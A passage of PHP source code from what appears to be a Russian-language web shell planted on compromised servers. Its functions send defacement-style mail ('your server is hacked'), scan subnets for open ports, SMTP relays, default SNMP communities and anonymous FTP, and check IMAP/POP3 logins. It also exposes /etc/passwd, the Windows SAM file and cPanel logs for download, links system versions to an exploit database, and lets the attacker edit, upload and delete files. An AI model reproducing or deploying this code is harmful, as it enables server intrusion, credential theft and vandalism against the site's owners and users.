  1920. echo "\">".$hcwd."<input class=buttons type=submit value=Выполнить></td></tr></form></td></tr><form method=post><tr><td><select name=\"cmd\" width=70>".$alias."</select>".$hcwd."<input class=buttons type=submit value=Выполнить></td></tr></form></table></table><center>";
  1921. }
  1922. function mailer(){
  1923. global $msgbox,$et,$hcwd;
  1924. $cwd=getcwd();
  1925. if (!empty($_REQUEST['subject']) && !empty($_REQUEST['body']) && !empty($_REQUEST['from']) && !empty($_REQUEST['to'])) {
  1926. $to=$_REQUEST['to'];
  1927. $from=$_REQUEST['from'];
  1928. $subject=$_REQUEST['subject'];
  1929. $body=$_REQUEST['body'];
  1930. if (!mail($to,$subject,$body,"From: $from")) { break; }
  1931. echo $msgbox."<b>Письмо отправлено!</b><br>".$et;
  1932. }
  1933. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><form method=\"POST\"><td><b>Мейлер:</b></td></tr><td width=\"20%\">SMTP</td><td>".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td>От:</td><td><input name=from type=text value=\"\" size=55>".$hcwd."</td><tr><td width=\"25%\">To:</td><td><input name=to type=text value=\"";
  1934. if (!empty($_REQUEST['to'])) { echo htmlspecialchars($_REQUEST['to']); }
  1935. elseif(!empty($_ENV["SERVER_ADMIN"])) { echo $_ENV["SERVER_ADMIN"]; }
  1936. else { echo "admin@".getenv('HTTP_HOST'); }
  1937. echo "\" size=55></td></tr><tr><td>Тема:</td><td><input name=subject type=text value=\"ВАШ СЕРВЕР ВЗЛОМАН :-P\" size=55></td><tr><td>Сообщение:</td><td><textarea rows=\"18\" cols=\"43\" name=body>Ваша система взломана!</textarea></td></tr><tr><td width=\"10%\"></td><td align=\"right\"><input type=submit class=buttons value=Послать></form>".$et;
  1938. }
  1939. function scanner(){
  1940. global $hcwd;
  1941. if (!empty($_SERVER["SERVER_ADDR"])) { $host=$_SERVER["SERVER_ADDR"]; } else { $host ="127.0.0.1"; }
  1942. if (!empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
  1943. $target=$_REQUEST['target']; $from=(int) $_REQUEST['fromport']; $to=(int)$_REQUEST['toport']; $timeout=(int)$_REQUEST['timeout']; $nu = 0;
  1944. echo "<font color=blue>Начато сканирование портов ".htmlspecialchars($target).":<br>";
  1945. for($i=$from;$i<=$to;$i++){
  1946. $scan=checkthisport($target,$i,$timeout);
  1947. if ($scan){
  1948. $nu++;
  1949. $ser="";
  1950. if(getservbyport($i,"tcp")) { $ser="(".getservbyport($i,"tcp").")"; }
  1951. echo $nu.") ".$i." ".$ser." (<a href=\"telnet://".$target.":".$i."\">Подключиться</a>)<br>";
  1952. }
  1953. flusher();
  1954. }
  1955. echo "Готово!</font>";
  1956. }
  1957. elseif (!empty($_REQUEST['securityscanner'])){
  1958. echo "<font color=blue>";
  1959. if(!empty($_REQUEST['httpscanner'])){ flusher(); }
  1960. $from=$_REQUEST['from'];
  1961. $to=(int)$_REQUEST['to'];
  1962. $timeout=(int)$_REQUEST['timeout'];
  1963. $f = substr($from,strrpos($from,".")+1);
  1964. $from = substr($from,0,strrpos($from,"."));
  1965. for($i=$f;$i<=$to;$i++){
  1966. $output=0;
  1967. $ip=$from.$i;
  1968. if(!empty($_REQUEST['ipscanner'])){
  1969. $port=$_REQUEST['port'];
  1970. if(strstr($port,",")) { $p=explode(",",$port); } else { $p[0]=$port; }
  1971. $open=$ser="";
  1972. foreach($p as $po){
  1973. $scan=checkthisport($ip,$po,$timeout);
  1974. if ($scan){
  1975. $ser="";
  1976. if($ser=getservbyport($po,"tcp"))$ser="(".$ser.")";
  1977. $open.=" ".$po.$ser." ";
  1978. }
  1979. }
  1980. if($open){ echo $ip.") Открытые порты:".$open."<br>"; $output=1; }
  1981. flusher();
  1982. }
  1983. if(!empty($_REQUEST['httpbanner'])){
  1984. $res=get_sw_name($ip,$timeout);
  1985. if($res){
  1986. echo $ip.") ПО веб-сервера: ";
  1987. if($res==-1) { echo "Неизвестно"; }
  1988. else { echo $res; }
  1989. echo "<br>";
  1990. $output=1;
  1991. }
  1992. flusher();
  1993. }
  1994. if(!empty($_REQUEST['httpscanner'])){
  1995. $scan=checkthisport($ip,80,$timeout);
  1996. if($scan && $dl){
  1997. $file=file($buglist);
  1998. foreach ($file as $v){
  1999. $v=trim($v);
  2000. $url="http://".$ip.$v;
  2001. $res=check_url($url,$timeout);
  2002. if($res) { $output=1; echo $ip.")<b><a href=\"".$url."\" target=\"_blank\">".$url."</a></b><br>";}
  2003. flusher();
  2004. }
  2005. $file=array();
  2006. }
  2007. }
  2008. if(!empty($_REQUEST['smtprelay'])){
  2009. $res='';
  2010. $res=checksmtp($ip,$timeout);
  2011. if($res==1){ echo $ip.") SMTP релей найден.<br>"; $output=1; } flusher();
  2012. }
  2013. if(!empty($_REQUEST['snmpscanner']) && function_exists('socket_set_timeout')){
  2014. $com=$_REQUEST['com'];
  2015. $coms=$res="";
  2016. if(strstr($com,",")) { $c=explode(",",$com); } else { $c[0]=$com; }
  2017. foreach ($c as $v){
  2018. $ret=snmpcheck($ip,$v,$timeout);
  2019. if ($res!="") { $coms .=" $v "; }
  2020. }
  2021. if ($coms!=""){ echo "<b>".$ip.") SNMP найден: ".$coms."</b><br>"; $output=1;}
  2022. flusher();
  2023. }
  2024. if(!empty($_REQUEST['ftpscanner'])){
  2025. $user=$_REQUEST['user'];
  2026. $pass=$_REQUEST['pass'];
  2027. $ftp=ftp_connect($ip,21,$timeout);
  2028. if ($ftp) {
  2029. if(ftp_login($ftp,$user,$pass)){ $output=1;echo "<b>".$ip.") FTP найден: <a href=\"ftp://".$ip."\" target=\"_blank\">".$ip."</a> Вход: успешный Система: ".ftp_systype($ftp)."</b><br>";};
  2030. }
  2031. flusher();
  2032. }
  2033. if($output) { echo "<br>"; }
  2034. flusher();
  2035. }
  2036. echo "</font>";
  2037. }else{
  2038. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><form method=\"POST\"><td>Сканер портов:</td></tr><td width=\"25%\">Цель:</td><td width=80%><input name=target value=".$host." size=40></td></tr><tr><td width=25%>От:</td><td width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td width=25%>До:</td><td width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\">Таймаут:</td><td><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\"></td><td align=\"right\">".$hcwd."<input type=submit class=buttons name=portscanner value=Скан></td></tr></form></table>";
  2039. $host = substr($host,0,strrpos($host,"."));
  2040. echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><form method=\"POST\" name=security><td>Сканер безопасности:</td></tr><td width=\"25%\">От:</td><td width=80%><input name=from value=".$host.".1 size=40></td></tr><tr><td width=25%>До:</td><td width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>".$hcwd."</td></tr><tr><td width=\"25%\">Таймаут:</td><td><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;\">Сканер портов:</td><td><input name=port type=text value=\"21,23,25,80,110,135,139,1433,3306,3389\" size=60></td></tr><tr><td width=\"25%\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;\">Получить веб-баннер</td><td><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;\">Сканер безопасности веб-сервера&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;\">Проверка SMTP релея</td></tr><tr><td width=\"25%\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.user.disabled = !document.security.user.disabled;document.security.pass.disabled = !document.security.pass.disabled;\" style=\"border-width:1px;\">FTP пароль:</td><td>Юзер:<input name=user type=text value=\"anonymous\" size=20> Пароль:<input name=pass type=text value=\"admin@\" size=20></td></tr><tr><td width=\"25%\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;\">SNMP:</td><td><input name=com type=text value=\"public,private\" size=60></td></tr><tr><td width=\"25%\"></td><td align=\"right\"><input type=submit class=buttons name=securityscanner value=Скан></td></tr></form></table></center><br><center>";
  2041. }
  2042. }
  2043. function sysinfo(){
  2044. global $windows,$disablefunctions,$safemode;
  2045. $cwd= getcwd();
  2046. $mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
  2047. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  2048. if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) { $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; }
  2049. $osver=$tsize=$fsize='';
  2050. if ($windows){
  2051. $osver = " (".shell("ver").")";
  2052. $sysroot = shell("echo %systemroot%");
  2053. if (empty($sysroot)) { $sysroot = $_SERVER["SystemRoot"]; }
  2054. if (empty($sysroot)) { $sysroot = getenv("windir"); }
  2055. if (empty($sysroot)) { $sysroot = "Не найден"; }
  2056. if (empty($CPU)) { $CPU = shell("echo %PROCESSOR_IDENTIFIER%"); }
  2057. for ($i=66;$i<=90;$i++){
  2058. $drive= chr($i).':\\';
  2059. if (is_dir($drive)){
  2060. $fsize+=disk_free_space($drive);
  2061. $tsize+=disk_total_space($drive);
  2062. }
  2063. }
  2064. }else{
  2065. $fsize=disk_free_space('/');
  2066. $tsize=disk_total_space('/');
  2067. }
  2068. $disksize="Занято: ". showsize($tsize-$fsize) . " Свободно: ". showsize($fsize) . " Всего: ". showsize($tsize);
  2069. if (empty($CPU)) $CPU = "Неизвестный";
  2070. $os = php_uname();
  2071. $osn=php_uname('s');
  2072. if(!$windows){
  2073. $ker = php_uname('r');
  2074. $o=($osn=="Linux")?"Linux+Kernel":$osn;
  2075. $os = str_replace($osn,"${mil}$o\">$osn</a>",$os);
  2076. $os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os);
  2077. $inpa=':';
  2078. }else{
  2079. $sam = $sysroot."\\system32\\config\\SAM";
  2080. $inpa=';';
  2081. $os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os);
  2082. }
  2083. $software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']);
  2084. echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td>Инфо о сервере:</td></tr><tr><td width=\"25%\">Сервер:</td><td>".$_SERVER["HTTP_HOST"];
  2085. if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")"; }
  2086. echo "</td></tr><tr><td width=\"25%\">ОС:</td><td>".$os.$osver."</td></tr><tr><td width=\"25%\">Приложение:</td><td>".$software."</td></tr><tr><td width=\"25%\">Процессор:</td><td>".$CPU."</td></tr><td width=\"25%\">Состояние памяти:</td><td>".$disksize."</td></tr><tr><td width=\"25%\">Домен пользователя:</td><td>";
  2087. if (!empty($_SERVER['USERDOMAIN'])) { echo $_SERVER['USERDOMAIN']; } else { echo "Неизвестный"; }
  2088. echo "</td></tr><tr><td width=\"25%\">User name:</td><td>";
  2089. $cuser=get_current_user();
  2090. if (!empty($cuser)) { echo get_current_user(); } else { echo "Неизвестный"; }
  2091. echo "</td></tr>";
  2092. if ($windows){
  2093. echo "<tr><td width=\"25%\">Папка Windows:</td><td><a href=\"".hlink("sec=fm&workingdir=".$sysroot)."\">".$sysroot."</a></td></tr><tr><td width=\"25%\">Sam файл:</td><td>";
  2094. if (is_readable(($sam))) { echo "<a href=\"".hlink("?workingdir=".$sysroot."\\system32\\config&download=sam")."\">Читаемый</a>"; }
  2095. else { echo "Нечитаемый"; }
  2096. echo "</td></tr>";
  2097. }else{
  2098. echo "<tr><td width=\"25%\">Файл с паролями:</td><td>";
  2099. if (is_readable('/etc/passwd')) { echo "<a href=\"".hlink("sec=edit&file=/etc/passwd&workingdir=".$cwd)."\">Читаемый</a>"; }
  2100. else { echo'Нечитаемый'; }
  2101. echo "</td></tr><tr><td width=\"25%\">Лог Cpanel:</td><td>";
  2102. if (file_exists("/var/cpanel/accounting.log")){
  2103. if (is_readable("/var/cpanel/accounting.log")) { echo "<a href=\"".hlink("sec=edit&file=/var/cpanel/accounting.log&workingdir=".$cwd)."\">Читаемый</a>"; }
  2104. else { echo "Не читаемый"; }
  2105. }else{
  2106. echo "Не найден";
  2107. }
  2108. echo "</td></tr>";
  2109. }
  2110. $uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
  2111. echo "<tr><td width=\"25%\">${mil}PHP\">PHP</a> версия:</td><td><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlink("sec=phpinfo&workingdir=$cwd")."\">подробнее...</a>)</td></tr><tr><td width=\"25%\">Версия Zend:</td><td>";
  2112. if (function_exists('zend_version')) { echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>"; }
  2113. else { echo "Не найден"; }
  2114. echo "</td><tr><td width=\"25%\">Include path:</td><td>".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\">PHP модули:</td><td>";
  2115. $ext=get_loaded_extensions();
  2116. foreach($ext as $v) { echo $v." "; }
  2117. echo "</td><tr><td width=\"25%\">Запрещённые функции:</td><td>";
  2118. if(!empty($disablefunctions)) { echo $disablefunctions; }
  2119. else { echo "Нет"; }
  2120. echo"</td></tr><tr><td width=\"25%\">Безопасный режим:</td><td>".$safemode."</td></tr><tr><td width=\"25%\">Open base dir:</td><td>".$basedir."</td></tr><tr><td width=\"25%\">БД:</td><td>";$sq="";
  2121. if(function_exists('mysql_connect')) { $sq= "${mil}MySQL\">MySQL</a> "; }
  2122. if(function_exists('mssql_connect')) { $sq.= " ${mil}MSSQL\">MSSQL</a> "; }
  2123. if(function_exists('ora_logon')) { $sq.= " ${mil}Oracle\">Oracle</a> "; }
  2124. if(function_exists('sqlite_open')) { $sq.= " SQLite "; }
  2125. if(function_exists('pg_connect')) { $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> "; }
  2126. if(function_exists('msql_connect')) { $sq.= " mSQL "; }
  2127. if(function_exists('mysqli_connect')) { $sq.= " MySQLi "; }
  2128. if(function_exists('ovrimos_connect')) { $sq.= " Ovrimos SQL "; }
  2129. if (empty($sq)) { $sq= "Нет"; }
  2130. echo $sq."</td></tr>";
  2131. if(function_exists('curl_init')) { echo "<tr><td width=\"25%\">Поддержка cURL:</td><td>Есть "; }
  2132. if(function_exists('curl_version')) { $ver=curl_version(); echo "(Версия:". $ver['version']." OpenSSL версия:". $ver['ssl_version']." zlib версия:". $ver['libz_version']." host:". $ver['host'] .")"; }
  2133. echo "</td></tr>";
  2134. echo "<tr><td>Инфо о клиенте:</td></tr><tr><td width=\"25%\">IP:</td><td>".$uip."</td></tr><tr><td width=\"25%\">Agent:</td><td>".htmlspecialchars(getenv('HTTP_USER_AGENT'))."</td></tr></table>";
  2135. }
  2136. function checksum($file){
  2137. global $et;
  2138. echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>".$et;
  2139. }
  2140. function imaplogin($host,$username,$password){
  2141. $sock=fsockopen($host,143,$n,$s,5);
  2142. $b=name();
  2143. $l=strlen($b);
  2144. if(!$sock) { return -1; }
  2145. $res=fgets($sock,512);
  2146. fputs($sock,$b." LOGIN $username $password\r\n");
  2147. $res=fgets($sock,$l+4);
  2148. if ($res == $b." OK") { return 1; } else { return 0; }
  2149. fclose($sock);
  2150. }
  2151. function pop3login($server,$user,$pass){
  2152. $sock=fsockopen($server,110,$en,$es,5);
  2153. if(!$sock) { return -1; }
  2154. $r=fgets($sock);
  2155. fwrite($sock,"user ".$user."\n");
  2156. $r=fgets($sock);
  2157. if($r{0}=='-') { return 0; }
  2158. fwrite($sock,"pass ".$pass."\n");
  2159. $r=fgets($sock);
  2160. fclose($sock);
  2161. if($r{0}=='+') { return 1; }
  2162. return 0;
  2163. }
  2164. function tumb($src) {
  2165. $width=19;
  2166. $height=16;
  2167. $rgb=0xFFFFFF;
  2168. if (!file_exists($src)) return false;
  2169. $size = getimagesize($src);
  2170. if ($size == false) return false;
  2171. $format = strtolower(substr($size['mime'], strpos($size['mime'], '/')+1));
  2172. $icfunc = "imagecreatefrom" . $format;
  2173. if (!function_exists($icfunc)) return false;
  2174. $x_ratio = $width / $size[0];
  2175. $y_ratio = $height / $size[1];
  2176. $ratio = min($x_ratio, $y_ratio);
  2177. $use_x_ratio = ($x_ratio == $ratio);
  2178. $new_width = $use_x_ratio ? $width : floor($size[0] * $ratio);
  2179. $new_height = !$use_x_ratio ? $height : floor($size[1] * $ratio);
  2180. $new_left = $use_x_ratio ? 0 : floor(($width - $new_width) / 2);
  2181. $new_top = !$use_x_ratio ? 0 : floor(($height - $new_height) / 2);
  2182. $isrc = $icfunc($src);
  2183. $idest = imagecreatetruecolor($width, $height);
  2184. imagefill($idest, 0, 0, $rgb);
  2185. imagecopyresampled($idest, $isrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]);
  2186. ob_start();
  2187. imagejpeg($idest);
  2188. $cont=ob_get_contents();
  2189. ob_end_clean();
  2190. imagedestroy($isrc);
  2191. imagedestroy($idest);
  2192. return $cont;
  2193. }
  2194. if (isset($_REQUEST['tumb'])) {
  2195. header("Content-type: image/gif");
  2196. die(tumb($_REQUEST['t']));
  2197. }
  2198. function tumbnail($f) {
  2199. $ret="<img src=\"".hlink("tumb=1&t=".$f)."\"> ";
  2200. return $ret;
  2201. }
  2202. function listdir($cwd,$task){
  2203. $c= getcwd();
  2204. $dh = opendir($cwd);
  2205. while ($cont=readdir($dh)){
  2206. if($cont=='.' || $cont=='..')continue;
  2207. $adr = $cwd.DIRECTORY_SEPARATOR.$cont;
  2208. switch ($task){
  2209. case '0':if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
  2210. case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
  2211. case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";break;
  2212. case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
  2213. case '4':if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";break;
  2214. case '5':if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
  2215. case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";}break;
  2216. case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";}break;
  2217. }
  2218. if (is_dir($adr)) listdir($adr,$_REQUEST['task']);
  2219. }
  2220. }
  2221. if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}}
  2222. if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}}
  2223. function filemanager(){
  2224. global $windows,$msgbox,$errorbox,$t,$et,$hcwd;
  2225. $cwd= getcwd();
  2226. $table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\">";
  2227. $td1n="<td width=\"22%\" bgcolor=\"#666666\">";
  2228. $td2m="<td width=\"22%\" bgcolor=\"#808080\">";
  2229. $td1i="<td width=\"5%\" bgcolor=\"#666666\">";
  2230. $td2i="<td width=\"5%\" bgcolor=\"#808080\">";
  2231. $tdnr="<td width=\"22%\" bgcolor=\"#800000\">";
  2232. $tdw="<td width=\"22%\" bgcolor=\"#006E00\">";
  2233. if (!empty($_REQUEST['task'])){
  2234. if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7;
  2235. if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6;
  2236. echo "<font color=blue><pre>";
  2237. listdir($cwd,$_REQUEST['task']);
  2238. echo "</pre></font>";
  2239. }else{
  2240. if (!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])|| !empty($_REQUEST['rn'])){
  2241. if (!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])){
  2242. $title="Destination";
  2243. $ad = (!empty($_REQUEST['cp']))?$_REQUEST['cp']:$_REQUEST['mv'];
  2244. $dis =(!empty($_REQUEST['cp']))?'Копировать':'Переместить';
  2245. }else{
  2246. $ad = $_REQUEST['rn'];
  2247. $title ="Новое имя";
  2248. $dis = "Переименовать";
  2249. }
  2250. if (!!empty($_REQUEST['des'])){
  2251. echo "<center><table border=0 style=\"border-collapse: collapse\" width=\"40%\"><tr><td width=\"100%\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=hidden name=workingdir size=135 value=\"".getcwd()."\"><input type=text value=\"";if(empty($_REQUEST['rn'])) echo $cwd; echo "\" size=60 name=des></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>";
  2252. }else{
  2253. if (!empty($_REQUEST['rn'])) rename($ad,$_REQUEST['des']);
  2254. else{
  2255. copy($ad,$_REQUEST['des']);
  2256. if (!empty($_REQUEST['mv']))unlink($ad);
  2257. }
  2258. }
  2259. }
  2260. if (!empty($_REQUEST['del'])) {
  2261. function dir_delete($df) {
  2262. if ($dir=opendir($df)) {
  2263. $i=0;
  2264. while (($file=readdir($dir))!=false) {
  2265. if ($file=="." or $file=="..") continue;
  2266. if (is_dir("$df/$file")) {
  2267. dir_delete($df."/".$file);
  2268. }
  2269. else {
  2270. unlink($df."/".$file);
  2271. }
  2272. $i++;
  2273. }
  2274. }
  2275. closedir($dir);
  2276. rmdir("$df/$file");
  2277. }
  2278. if (is_dir($_REQUEST['del'])) { dir_delete($_REQUEST['del']); }
  2279. else { unlink ($_REQUEST['del']); }
  2280. }
  2281. if (!empty($_FILES['uploadfile'])){
  2282. if (!file_exists($_FILES['uploadfile']['name'])) {
  2283. copy($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
  2284. echo "$msgbox<b>Загружен!</b> Имя: ".$_FILES['uploadfile']['name']." Размер: ".$_FILES['uploadfile']['size']. "$et<br>"; }
  2285. else { echo "$msgbox<b>Такой файл уже есть!</b> Имя: ".$_FILES['uploadfile']['name']." Размер: ".$_FILES['uploadfile']['size']. "$et<br>"; }
  2286. }
  2287. $select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlink("sec=fm&workingdir=$cwd")."\">--------</option><option value=\"";
  2288. if (!empty($_REQUEST['newf'])){
  2289. if (!empty($_REQUEST['newfile'])){ if (!file_exists($_REQUEST['newf'])) { fclose(fopen($_REQUEST['newf'],"w+")); }}
  2290. if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
  2291. }
  2292. if ($windows){
  2293. echo "$table<td><b>Диски:</b> ";
  2294. for ($i=66;$i<=90;$i++){$drive= chr($i).':';
  2295. if (is_dir($drive."\\")){$vol=shell("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlink("sec=fm&workingdir=$drive\\").">$drive\\</a>";}
  2296. }
  2297. echo $et;
  2298. }
  2299. echo "$table<form method=\"POST\" action=\"".hlink("sec=fm")."\"><tr><td width=\"20%\"><b>Путь:</b><input type=text name=workingdir size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=Изменить></td></tr></form></table>";
  2300. $file=array();$dir=array();$link=array();
  2301. if($dirhandle = opendir($cwd)){
  2302. while ($cont=readdir($dirhandle)){
  2303. if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont;
  2304. elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont;
  2305. else $link[]=$cont;
  2306. }
  2307. closedir($dirhandle);
  2308. sort($file);sort($dir);sort($link);
  2309. echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\"><tr><td width=\"30%\" align=\"center\">Имя</td><td width=\"13%\" align=\"center\">Владелец</td><td width=\"12%\" align=\"center\">Время изменения</td><td width=\"12%\" align=\"center\">Последнее изменение</td><td width=\"5%\" align=\"center\">Инфо</td><td width=\"7%\" align=\"center\">Размер</td><td width=\"15%\" align=\"center\">Действия</td></tr>";
  2310. $i=0;
  2311. foreach($dir as $dn){
  2312. echo "<tr>";
  2313. $i++;
  2314. $own = "Неизвестно";
  2315. $owner = posix_getpwuid(fileowner($dn));
  2316. $mdate = date("Y/m/d H:i:s",filemtime($dn));
  2317. $adate = date("Y/m/d H:i:s",fileatime($dn));
  2318. $diraction = $select.hlink("sec=fm&workingdir=".realpath($dn))."\">Открыть</option><option value=\"".hlink("sec=fm&workingdir=$cwd&rn=$dn")."\">Переименовать</option><option value=\"".hlink("sec=fm&del=$dn&workingdir=$cwd")."\">Удалить</option></select></td>";
  2319. if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner['name']."</a>";
  2320. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  2321. if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2;
  2322. echo icon(realpath($dn))."<a href=\"".hlink("sec=fm&workingdir=".realpath($dn))."\">";
  2323. if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>";
  2324. echo $cl1."$own</td>";
  2325. echo $cl1."$mdate</td>";
  2326. echo $cl1."$adate</td>";
  2327. echo "</td>${cl1}<a href=\"".hlink("sec=chmod&file=".$dn."&workingdir=".getcwd())."\">*D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "*</a></td>";
  2328. echo "$cl1------</td>";
  2329. echo $cl2.$diraction;
  2330. echo "</tr>" ;
  2331. flusher();
  2332. }
  2333. foreach($file as $fn){
  2334. echo "<tr>";
  2335. $i++;
  2336. $own = "Неизвестно";
  2337. $owner = posix_getpwuid(fileowner($fn));
  2338. $fileaction=$select.hlink("sec=openit&name=$fn&workingdir=$cwd")."\">Открыть</option><option value=\"".hlink("sec=edit&file=$cwd/$fn&workingdir=$cwd")."\">Редактировать</option><option value=\"".hlink("sec=fm&download=$fn&workingdir=$cwd")."\">Скачать</option><option value=\"".hlink("sec=hex&file=$fn&workingdir=$cwd")."\">НЕХ код</option><option value=\"".hlink("sec=img&file=$fn&workingdir=$cwd")."\">Картинка</option><option value=\"".hlink("sec=inc&file=$fn&workingdir=$cwd")."\">Include</option><option value=\"".hlink("sec=checksum&file=$fn&workingdir=$cwd")."\">Контрольная сумма</option><option value=\"".hlink("sec=fm&workingdir=$cwd&cp=$fn")."\">Копировать</option><option value=\"".hlink("sec=fm&workingdir=$cwd&mv=$fn")."\">Переместить</option><option value=\"".hlink("sec=fm&workingdir=$cwd&rn=$fn")."\">Переименовать</option><option value=\"".hlink("sec=fm&del=$fn&workingdir=$cwd")."\">Удалить</option></select></td>";
  2339. $mdate = date("Y/m/d H:i:s",filemtime($fn));
  2340. $adate = date("Y/m/d H:i:s",fileatime($fn));
  2341. if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner['name']."</a>";
  2342. $size = showsize(filesize($fn));
  2343. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  2344. if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $td2m;
  2345. if (get_file_ext($fn) == "gif" || get_file_ext($fn) == "jpg" || get_file_ext($fn) == "png" || get_file_ext($fn) == "jpeg") {
  2346. $imagesize=getimagesize(realpath($fn));
  2347. echo "<a href=\"".hlink("sec=img&file=$fn&workingdir=$cwd")."\">".icon(realpath($fn)).tumbnail(realpath($fn))."&nbsp;(".$imagesize[0]."x".$imagesize[1].")&nbsp;&nbsp;";
  2348. } else {
  2349. echo icon(realpath($fn))."<a href=\"".hlink("sec=openit&name=$fn&workingdir=$cwd")."\">";
  2350. }
  2351. if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>";
  2352. echo $cl1."$own</td>";
  2353. echo $cl1."$mdate</td>";
  2354. echo $cl1."$adate</td>";
